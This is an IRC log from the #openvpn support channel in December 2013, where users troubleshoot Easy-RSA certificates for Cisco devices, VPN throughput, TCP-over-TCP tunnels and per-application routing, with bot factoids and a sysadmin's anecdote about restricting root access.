14:48 < suprsonic> +pekster ever seen issues with easy-rsa creating certs for cisco devices?
14:49 < suprsonic> Im seeing a lot of threads saying cisco doesn't play well with openssl 1.x
14:49 < suprsonic> but rather plays well with 0.9
14:50 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
14:51 <+pekster> 0.9? Old and insecure versions? :)
14:52 <+pekster> Hmm, I guess 0.9.8y was released in Feb 2013; YMMV, but I'd suggest seeing _why_ things don't work
14:53 <+pekster> Maybe Cisco doesn't play well with X.509v3? If so that's a pretty big flaw
14:54 <+pekster> If you can identify some missing support that applies to a particular use-case and define the problem that would be the way to go; if it's just an extra command option or alternate extensions syntax you need, that's pretty trivial to add to the easy-rsa v3 codebase now
14:56 -!- makhr [~makhr@46.167.123.59] has joined #openvpn
15:02 < suprsonic> yeah, we're talking about cisco here  :)
15:03 < suprsonic> yeah it doesn't like the req stanza
15:04 < suprsonic> yeah it doesn't like the req_extra stanza rather
15:04 <+pekster> That's not really helpful; what _about_ it is the problem? What particular extension or way to format the DN is giving you problems
15:05 <+pekster> Vauge statements aren't likely to get your problem resolved, and certinly don't get my interested in spending any time on it
15:05 -!- rajkosto [~rajkosto@178-222-102-150.dynamic.isp.telekom.rs] has joined #openvpn
15:05 < rajkosto> hi guys big problem since updating server to whatever latest was in debian wheezy the performance over the tunnel is really bad
15:06 <+pekster> suprsonic: You do realize that the [ req_extra ] does _nothing_ unless you enable support for it, right? I don't see how this is of any interest to "Cisco" devices at all
15:06 < rajkosto> 2.2.1 x86_64-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [eurephia] [MH] [PF_INET6] [IPv6 payload 20110424-2 (2.2RC2)] built on jun 18 2013
15:07 <+pekster> If you're trying to feed a Cisco brand device the openssl.cnf file that is specially taylored for use by Easy-RSA, you're likely to run into issues; I suggest you don't do that
15:07 < rajkosto> before that i was maxing client sites wan connections now i can barely get 3mbps
15:07 < suprsonic> let me bring up the error again
15:07 < rajkosto> how do i troubleshoot
15:07 < suprsonic> I had to install 1.0.1 to make easy-rsa sign certs
15:08 < suprsonic> so I'll remove 1.0.1 and get the error
15:08 <+pekster> Unless you're enabling the --subject-alt-name feature or defining EASYRSA_EXTRA_EXTS in your environment, that stanza adds nothing. It's possible 0.9.8* won't play nice, but that's an ancient version (and again, I don't really understand how "Cisco" plays into any of this)
15:08 < suprsonic> yeah I didnt' do that
15:08 < suprsonic> it was all base easy-rsa
15:08 < suprsonic> let me try building a cert with 9.8
15:09 <+pekster> I'm generally happy to ignore 0.9.x as I can't say I've tested with it; do you have a platform/distro where 1.0.x really isn't available?!
15:09 <+pekster> rajkosto: perhaps start with:
15:10 <+pekster> !bottleneck
15:10 <@vpnHelper> "bottleneck" is (#1) OpenVPN uses userland crypto unless you have HW accel available (as shown with `openvpn --show-engines`.) This means the CPU is frequently the performance bottleneck; remember that OVPN is single-threaded or (#2) See also: !gigabit for ideas on advanced performance tuning options
15:10 < rajkosto> nah i got rid of crypto/ivs/everything
15:10 <+pekster> You ultimately need to figure out what is the bottleneck before you can answer "why"
15:10 < rajkosto> just in case, no difference
15:10 < rajkosto> also, nothing has changed in the client hardware
15:10 < rajkosto> just the server upgraded
15:11 <+pekster> jiffie value changed in the kernel, perhaps? Different form of QoS or txqueuelen on the NICs involved?
15:11 < rajkosto> also the bottleneck in client devices is more the memcpy between the tun device and openvpn mroe than the crypto, but they can still take it all
15:11 <+pekster> etc, etc
15:12 <+pekster> I really doubt that; !gigabit demonstrates that until you approach much more throughput (nearing gigabit speeds) the context switching really isn't that big of a deal
15:12 < rajkosto> its using tls cert mode, and before, the initialization sequence used to go by quick, now it stops a bit between 'initial packet received' and when it prints out the ca fields and such
15:12 < rajkosto> pekster, on ARM memory bandwidth is much less
15:13 < rajkosto> i can do 100mbps+ on ipsec because of it's kernel-only nature (hardware AES crypto) but openvpn tops out at around 40
15:13 <+pekster> The actual crypto operations are handled by openssl (possibly on crypto-enabled hardware, if openssl supports it)
15:13 < rajkosto> doesnt matter, now im getting 3
15:15 <+pekster> And it sounds like you've taken none of my suggestions to check where the bottleneck really is. Crystal balls says is at least one of: CPU, bandwidth, context swiching, saturating available CPU interrupts (jiffies), or I/O wait
15:15 -!- makhr [~makhr@46.167.123.59] has left #openvpn []
15:15 < rajkosto> cpu usage is 3% when its 3mbpsing
15:16 < rajkosto> im setting it up on a fast x86 ubuntu to see if it still clogs
15:16 <+pekster> What's `top` say? Is the rest "id" (idle) or some combination of sy/wa or such?
15:17 < rajkosto> will check after this
15:17 <+pekster> On my poor (slightly outdated) MIPS border router I can saturate the CPU quite easily since there's no TCO/LRO support on it
15:17 < rajkosto> the client hardware/setup didnt change
15:17 < rajkosto> server is a powerful xeon box
15:18 <+pekster> The setup _did_ change if you "upgraded" it
15:18 < rajkosto> didnt change client.
15:18 < rajkosto> just server
15:18 <@krzee> haha
15:18 <+pekster> Wonderful. I gave you about 4 or 5 things to check. Insisting that "nothing changed" is a stupid game, and I'm not playing it
15:18 < rajkosto> nothing changed ON THE CLIENT
15:18 < suprsonic> +pekster: Error Loading extension section req_extra
15:19 < rajkosto> as i said on my first message, and yes ill check things
15:19 < suprsonic> and thats running easy-rsa with openssl 0.9.8y
15:19 <+pekster> suprsonic: Interesting, 0.9.x might not support empty sections. For now, just consider that version unsupported. Maybe I'll poke at it if I feel like adding support
15:20 <+pekster> Did you have an actual usecase besides "upstream still supports it so I tried using the pre-1.0 version" ?
15:20 < suprsonic> thanks
15:20 < suprsonic> well at this point I can't even get 1.x certs working on my cisco kits
15:20 < suprsonic> so I wanted to try 0.9
15:20 <+pekster> And there again I guess I have to wonder why
15:20 <+pekster> That's the symptom, not the cause
15:21 < suprsonic> yeah I know
15:21 < suprsonic> but Im helpless at this point
15:21 < suprsonic> I'll let me you what I find
15:21 <+pekster> I don't suppose your appliance actually tells you _why_ it refused to use/load the cert?
15:21 <+pekster> Or is Cisco "Too Good" for that? :P
15:21 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
15:21 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
15:22 < suprsonic> +pekster that would be logical
15:22 < suprsonic> we're talking about cisco here  :)
15:22 <+pekster> Yup, and that's why I try to avoid (and recommend ccompanies I work for that they avoid) paying money for a black box that magically works. Until it doesn't.
15:23 < suprsonic> crypto-5-ikmp_inval_cert certificate received from x.x.x.x is bad: certificate invalid
15:23 <+pekster> My offhand guess is that it might hate the X.509 v3 format as I said earlier, but without any real info that's a wild guess
15:24 < suprsonic> both boxes were signed with easy-rsa with no issues
15:24 < suprsonic> yeah
15:24 <+pekster> Is it expecting certain KU/EKU types? Vendor extensions?
15:24 <+pekster> Does it not like v3 certs? I mean, it could be _anything_
15:24 < suprsonic> that's all that really returns as an error
15:24 <+pekster> Well, "something is wrong" is the best I can do
15:24 < lamba> has anyone ever tried to tune open vpn links for long tunnels (literally all the way around the world) ? I'm reading lots of tweaking guides for openvpn but at this point it seems more or less like black magic. i'm seeing pretty poor throughput.
15:25 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
15:25 < lamba> my server config is http://pastebin.com/egDi4qRD changing to udp isnt possible
15:25 < rajkosto> tcp is pretty poor as a link-layer transport
15:25 <+pekster> TCP over latent (possibly lossy) links is a bad idea in general
15:25 <+pekster> Yea
15:26 <+pekster> !tcp
15:26 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
15:26 < lamba> yeah i know, but enogh to make a 1gig to 100m link go at 80kb/sec ?
15:26 <+pekster> Possibly, yes
15:26 <+pekster> Especially if you're transporting TCP sessions inside your TCP VPN when combined with delays/losses
15:27 < rajkosto> pekster, woo, ubuntu setup is also going 3-4mbps
15:27 <+pekster> Think 'slow-restart' to the 2nd power. It gets ugly fast
15:27 <+pekster> rajkosto: "something is the bottleneck" -- my answer hasn't changed. My really crappy Celeron 32-bit processor gets more than that _with_ crypto enabled, so clearly something else is up
15:28 <+pekster> This is with 2.3.2, so it's "not a generic problem that openvpn just sucks for everyone" or something like that. It's not a problem that is obvious until you identify why it's slow for _you_ with _your_ setup on _your_ kernel/OS/distro/setup/hardware combination
15:28 < rajkosto> im doing weird ipv6 stuff so maybe something broke in 2.2.1
15:29 < rajkosto> ive been doing weird ipv6 stuff ever since that payload patch
15:29 <+pekster> >=2.3.0 requires no special patches for IPv6; you should really use that if you want IPv6 support, though the 2.2.x patchset offers limited (/64 only) support
15:30 -!- dowaat [uid3966@gateway/web/irccloud.com/x-newiknxhesrzsbmg] has quit []
15:30 < rajkosto> 2.3.x is too new dont have it everywhere
15:30 < suprsonic> hahahah
15:30 <@krzee> lol lol
15:30 <+pekster> !repo
15:30 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
15:30 < suprsonic> I think i found it pekster
15:30 <@krzee> !download
15:30 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
15:30 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
15:30 < suprsonic> certs aren't valid to start for another 5 hours
15:31 <+pekster> That, or just grab 'build-essential' from the apt repos and build openvpn; minus deps, it's like a 3 minute compile
15:31 <+pekster> suprsonic: Clock problems? :)
15:31 < rajkosto> pekster, openvpn-devel in openwrt is now 2.3.x something alpha, but i cant really upgrade some routers that are many miles away
15:32 < rajkosto> i updated the one here, no change, problem is still in the server
15:32 <@krzee> openwrt is crazy easy to upgrade on, mount_root and opkg iirc
15:32 <+pekster> Ah, embedded hardware complicates things a bit, yea
15:32 <+pekster> Yea, _if_ you have a package built for it :)
15:32 < suprsonic> trying it now
15:33 <+pekster> Chances are any -devel package is gunna be targeted to trunk, though if you admin openwrt you probably know how to use the buildroot too
15:33  * pekster keeps local git tags of deployed client openwrt revisions so targeting builds to that specific commit is trivial
15:33 < suprsonic> nope
15:33 < suprsonic> wasn't it
15:33 < suprsonic> grrr
15:33 < suprsonic> that would have made my day
15:34 <+pekster> krzee: git makes _everything_ better ;)
15:34 <@krzee> suprsonic, it is a clock issue, if you used a seperate machine for CA check there too. check timezones are correctly set for the time as well
15:34 <@krzee> git head makes _everything_ better :D
15:36 < suprsonic> shit
15:36 <+pekster> suprsonic: So, coming back to the 0.9.8 issue, were you just trying it 'becuase forums suggested ancient versions', or was there another (more valid) reason? I don't really plan to add to my FOSS hacking list to support old stuff without reason
15:37 < suprsonic> I agree pekster
15:38 < suprsonic> can easy-rsa show full cert detail in pem?
15:38 < suprsonic> ca,key,crt?
15:39 < rajkosto> pekster, so cpu is def not a bottleneck
15:39 < rajkosto> what now
15:39 <+pekster> suprsonic: There's `./easyrsa show-req <BASENAME>`, though it doesn't currently support the CA
15:39 <+pekster> There aren't "cert details" in the key, so I'm not sure what you mean there
15:40 <+pekster> rajkosto: The other 4 things I suggested
15:40 < rajkosto> how do i check those
15:41 <@krzee> !pkcs
15:41 <@krzee> !pkcs1
15:41 <@krzee> !factoids
15:41 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
15:41 <@krzee> !p12
15:41 <@vpnHelper> "p12" is openssl pkcs12 -export -out filename.p12 -inkey filename.key -in filename.crt -certfile ca.crt
15:41 <@krzee> suprsonic, ^
15:42 < suprsonic> thanks
15:42 <@krzee> yw
15:42 <@krzee> !forget pek_t
15:42 <@vpnHelper> Joo got it.
15:44 <+pekster> easyrsa 3 supports pkcs12 exporting
15:44 <+pekster> `./easyrsa3 help export-p12`
15:44 <+pekster> Erm, s/3//
15:46 <@krzee> i havnt looked at easy-rsa3 yet, does it support non-interactive ca administration?
15:46 <+pekster> Yup; it's even a highlight on the features list ;)
15:46 <@krzee> yay!
15:46 <@krzee> i will have to look at it again now
15:46 <+pekster> Now with Even More™ ways to configure defaults
15:47 <+pekster> (vars file, which is now completely optional in v3, or env-vars, or CLI-opts)
15:47 <@krzee> badass man
15:47 <+pekster> The Advanced readme has technical refs for you
15:47 <+pekster> issue reports/patches welcome if things don't work as intended
15:47 <@krzee> thanks ill give it a read, and thanks for re-writing it
15:47 <+pekster> Oh, and Windows is no longer a 2nd class citizen either (one of my main design goals)
15:48 <@krzee> it needed help, as im sure you know intimately :D
15:48 <@krzee> bah, windows will always be a 3rd class citizen
15:48 <@krzee> along with anything else that came from VMS
15:49 <+pekster> Well, much of the Windows shell support comes from the MirOS project and a developer who got some support to port mksh to Win32
15:50  * pekster already sent the primary dev of that project a thank-you email since it was one of 2 usable shells, and the only one that didn't feel like using a 2-decade old shell
15:50 <@krzee> i just take any excuse i can to poke at vms ;]
15:50 <+pekster> win-bash came close, but it was archaic (things like backspace didn't work as intended, etc)
15:51 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has left #openvpn []
15:51 <+pekster> Erm, maybe it was up-arrow support; something really basic was meta-broken
15:51 < rajkosto> pekster, how about bash and co from msysgit
15:51 < rajkosto> i use that a lot
15:52 <+pekster> way too thick for this use
15:52 <+pekster> mksh.exe is tiny, and has _no_ external DL deps
15:53 < rajkosto> i enjoy letting the installer dump everything into path
15:53 < rajkosto> oh for that use, sure
15:53 < rajkosto> but i mean for general
15:53 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 240 seconds]
15:53 <+pekster> Well easy-rsa v3 needs is POSIX shell + a few external commands, and it all ships inside a ~500k zip; bash.exe from msysgit alone is that size
15:54 <+pekster> I'm also not too impressed with the security there (in fact, you reminded me I have an issue that needs to get reported to them now that the github folks had time to clean it up in advance.) Nothing like some arbitrary code execution flaws :\
15:56 <+pekster> hah, and that 583k bash.exe from msysgit? It references a _760_ k msys-1.0.dll ;)
15:57 <+pekster> unxutils ftw
16:04 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
16:05 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has joined #openvpn
16:06 -!- Agin [~Agin@shell01.copyleft.no] has quit [Remote host closed the connection]
16:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:16 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has quit [Quit: Nikon_m]
16:23 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
16:24 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:29 -!- rajkosto [~rajkosto@178-222-102-150.dynamic.isp.telekom.rs] has quit [Read error: Connection reset by peer]
16:29 < lamba> so if i did want to move to udp, would i still be able to use tun ? at the moment with tcp  im firewalling in the forward chain of iptables, and i dont see how that'd work in udp without nat. ?
16:30 <+pekster> Your firewall isn't able to process UDP??!
16:30 <+pekster> Yes, tun works fine with UDP; tun/tap is a choice completely separate from tcp/udp
16:31 -!- mikej03 [~mikej03@tsn85-159-236-214.dyn.nltelcom.net] has quit []
16:31 < lamba> ok. my firewwall was setup to a) allow tcp 1194, b) in forward chain allow vpn clients to do a bnuch of things and drop everythign else from them. since moving to udp 1194 allow, nothing gets to the forward chain at all. looks like the vpn is up though. weird.
16:41 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
16:42 <+pekster> Then fix your firewall?
16:43 < lamba> yeah o_O i just put a log line in, nothing is hitting it to fix.
16:44 <+pekster> traceroute? nmap? ie: "the usual network diagnostics you should be familiar with if you're the admin of a VPN"
16:45 < lamba> i think this is actually an issue upstream of my network, which is prolly why i ditched using udp in april when we set this up the first time.
16:46 <+pekster> So they don't serve you the Intenret, in otherwords, only the TCP part of it? That sounds really broken
16:47 < suprsonic> times on the routers weren't synced, but they are now... same result
16:51 <+pekster> Try #cisco? We can't help if we don't know what's wrong
16:51 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
16:51 <+pekster> "invalid certificate" -> "something undefined is wrong." I can't fix undefined
16:54 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Excess Flood]
16:55 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
16:58 < suprsonic> I appreciate the help pekster
16:59 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
17:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:05 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
17:09 -!- raidzz [~raidz@178.209.51.40] has quit [Ping timeout: 260 seconds]
17:09 -!- mattock_afk is now known as mattock
17:09 -!- mattock [~mattock@raidz.im] has quit [Changing host]
17:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
17:09 -!- mode/#openvpn [+o mattock] by ChanServ
17:13 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
17:16 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
17:17 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
18:00 -!- speed_racer84 [~speed_rac@172.56.14.168] has joined #openvpn
18:02 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
18:16 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
18:35 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
18:40 -!- Eryn_1983_FL [~Eryn_1983@72.238.104.100] has joined #openvpn
18:40 < Eryn_1983_FL> hey peeps
18:40 < Eryn_1983_FL> I am running my client openvpn on my server, and its sending all of my localhost packets through the vpn.
18:41 < Eryn_1983_FL> is there a way to make it only send certain ones?
18:42 <+pekster> Don't use the directives I told you in the other channel that do that
18:42 <+pekster> !new
18:42 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
18:42 <+pekster> !welcome
18:42 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:42 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:42 <+pekster> Read that. Then read the /TOPIC. Then post your !configs (with comments removed please) from _both_ your server and your client
18:43 < Eryn_1983_FL> ok pekster
18:45 < Eryn_1983_FL> !route
18:45 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
18:45 <@vpnHelper> client
18:46 < Eryn_1983_FL> !ask
18:46 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
18:46 < Eryn_1983_FL> !howto
18:46 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:03 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
19:07 < mrrg_> if i have multiple clients on the same box creating tunnels to the same destination, it looks like my client application only uses one of the tunnels
19:07 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:07 < mrrg_> any thoughts?
19:07 -!- mrrg_ is now known as mrrg
19:08 -!- xrosnight [~quassel@183.234.77.221] has quit [Read error: Connection reset by peer]
19:09 <+pekster> mrrg: Yup, that's how routing works; what were you expecting?
19:11 < mrrg> ah just trying to think of a way around it
19:11 < mrrg> like maybe iptables port translation or something
19:12 <+pekster> !goal
19:12 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
19:13 < mrrg> goal is to have multiple instances of a client app use unique tunnels, given the setup described previously
19:14 <+pekster> So set them up
19:14 <+pekster> What's the problem?
19:14 < mrrg> the app doesn't have any method to bind to an interface
19:14 < rob0> bind the client app to a specific tunnel IP ... ah. Sucks to be you.
19:14 <+pekster> 1) you bind to addresses, not interfaces
19:15 <+pekster> 2) yup, you're basically hosed unless you set up policy routing
19:15 < mrrg> yeah i'm pretty much option 2
19:15 <+pekster> And any given socket will never use "both" tunnels at the same time -- you'd need interface bonding for that, and this is non-trivial and basically worthless over a VPN unless you have a very good idea what you're doing
19:16 < mrrg> yeah i don't want to use both at once, just one tunnel per-client app
19:16 <+pekster> !routebyapp
19:16 <@vpnHelper> "routebyapp" is (#1) if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination. or (#2) Alternatively, read up about Policy Routing to make routing decisions based on defined
19:16 <@vpnHelper> policies you set. For Linux, read about !lartc
19:19 < mrrg> aah yes, been a while since i've been in lartc...
19:19 < mrrg> !lartc
19:19 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
19:36 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
19:38 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has left #openvpn []
19:59 -!- Carbon_Monoxide [~cmonxide@14.0.143.76] has joined #openvpn
20:00 -!- Carbon_Monoxide [~cmonxide@14.0.143.76] has left #openvpn []
20:12 -!- speed_racer84 [~speed_rac@172.56.14.168] has quit [Ping timeout: 260 seconds]
20:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:22 < lamba> hm; well i managed to get udp sent as far as my openvpn server so i could test the speed of it over udp, but intially testing with iperf from the uk to nz over tcp is ~7Mbit/s and udp is ~1Mbit/s, so even before openvpn gets involved i dont think it'll actually help.
20:23 <+pekster> That makes no sense unless you have awful QoS involved (which could very well be the case)
20:24 < lamba> ill ask our provider i guess. we have no qos setup.
20:26 -!- Devastator_ [~devas@186.214.111.241] has joined #openvpn
20:28 <+pekster> It could be issues anywhere in the packet delivery path
20:28 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
20:28 < lamba> yeah. i realise its about the worst case scenario, hop wise.
20:34 -!- dowaat_ [uid3966@gateway/web/irccloud.com/x-oeihgtmtnsmbgxlf] has joined #openvpn
20:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.2]
20:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:58 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 252 seconds]
20:59 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
21:10 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
21:12 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
21:12 -!- xrosnight [~quassel@183.234.77.221] has quit [Changing host]
21:12 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
21:27 <@krzee> !hmac
21:27 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
21:27 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
21:47 <@ecrist> sup krzee
21:48 <@ecrist> we had a meeting at $work today, it was pretty great, but I didn't know what to think going in
21:48 <@ecrist> apparently our devs have been slamming me to the boss behind my back
21:48 <@ecrist> he suggested we have a 'happy face' meeting with them.
21:49 <@ecrist> meeting opens with him saying, "So, we all need to work together, and I want everyone on the same page.  Eric is the sysadmin.  Shit rolls down hill, and he's going to be at the bottom of that hill if systems/etc fail.  So, whatever he decides goes.  What questions do you guys have?"
21:50 <@krzee> whoa
21:50 <@ecrist> One dev refused to talk the entire meeting, and another only had cursor questions, but nothing of importance
21:50 <@ecrist> it was pretty great, and about 180 degress from where I thought it was going to go
21:53 <@krzee> but still, wtf
21:53 <@krzee> you're a pretty easy dude to get along with
21:53 <@ecrist> admittedly, yes and no
21:54 <@ecrist> I sort of have a no-bs policy, and tell it like it is
21:54 <@ecrist> if you're full of shit, I'll inform you of it
21:54 <@ecrist> also, in the case, here's what prompted everything
21:54 <@ecrist> when I started at $job, everyone had sudo to root access on all boxes
21:55 <@ecrist> what usually happened was $silent_dev would log in to production DB server, run xyz backup process to test a database, and never delete it
21:55 <@ecrist> after about 3 or 4 bacukps, he'd overrun the file system and I'd be up at 3am fixing the DB server
21:56 <@ecrist> so, I pulled all root access, pulled login access from web, file, and db servers, and told them all to connect remotely
21:56 <@ecrist> $silent_dev has been butt-hurt ever since
21:57 <@ecrist> fwiw, $silent_dev is usually anything but
21:57 <@EugeneKay> Ah, universal sudo. Fuck that.
21:58 <@ecrist> according to him, he's built houses, has an electrical engineering degree, used to run data centers, knows how to build servers, knows "pretty much every language ever invented" (except perl)
21:58 <@ecrist> etc etc
21:58 <@EugeneKay> Lulz
21:58 <@EugeneKay> "except perl"
21:59 <@ecrist> this meeting was ALL about his goal for root on DB and web servers again
21:59 <@ecrist> me, the boss, and our other admin shut the door on that concept
22:00 <@EugeneKay> If you're having a meeting about this shit there's something wrong with the company culture, IMO
22:00 <@ecrist> told the boss privately, if someone wants root to a box, they assume responsibility for the uptime of that box
22:00 <@ecrist> EugeneKay: typical small-company politics
22:00 <@EugeneKay> Unsurprising
22:00 <@ecrist> this was an attempt of the boss to appease $silent_dev and his cohort
22:00 <@EugeneKay> In my small company it's "fuck you, I own the shit, go away"
22:01 <@ecrist> I've been here just shy of 7 years - I'm in no danger (aside from high-dollar offers from other companies) of leaving
22:02 <@ecrist> the boss told the devs today, "Even *I* don't have access to most systems here, because ecrist said so.  If I'm OK with that, you can be too."
22:23 < rob0> that's a good boss!
22:56 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
23:45 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:51 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
--- Day changed Fri Dec 06 2013
00:30 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Read error: Connection reset by peer]
00:30 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
00:48 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
00:52 < pagios>  hi again, another bcast,  has anyone tried doing some 3g bonding over openvpn? I heard it can work well please share thanks
00:59 -!- Carbon_Monoxide [~cmonxide@14.0.143.76] has joined #openvpn
01:00 -!- Carbon_Monoxide [~cmonxide@14.0.143.76] has left #openvpn []
01:05 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:27 -!- ayaka [~ayaka@222.76.205.131] has joined #openvpn
01:44 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
02:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:07 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has joined #openvpn
02:20 -!- u [~u@203.23.78.188.dynamic.jazztel.es] has joined #openvpn
02:21 -!- u is now known as Guest5364
02:23 -!- u_ [~u@203.23.78.188.dynamic.jazztel.es] has joined #openvpn
02:24 -!- Guest5364 [~u@203.23.78.188.dynamic.jazztel.es] has quit [Client Quit]
02:24 -!- u_ [~u@203.23.78.188.dynamic.jazztel.es] has quit [Client Quit]
02:25 -!- Blendercrazy [~u@203.23.78.188.dynamic.jazztel.es] has joined #openvpn
02:25 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
02:27 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Read error: Operation timed out]
02:28 -!- Blendercrazy is now known as gabrign
02:28 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
02:28 -!- acu [~acu@24-159-215-150.static.roch.mn.charter.com] has quit [Ping timeout: 252 seconds]
02:29 -!- reiffert_ [~thomas@mail.reifferscheid.org] has joined #openvpn
02:29 -!- ngharo_ [~ngharo@nexus.sypherz.com] has joined #openvpn
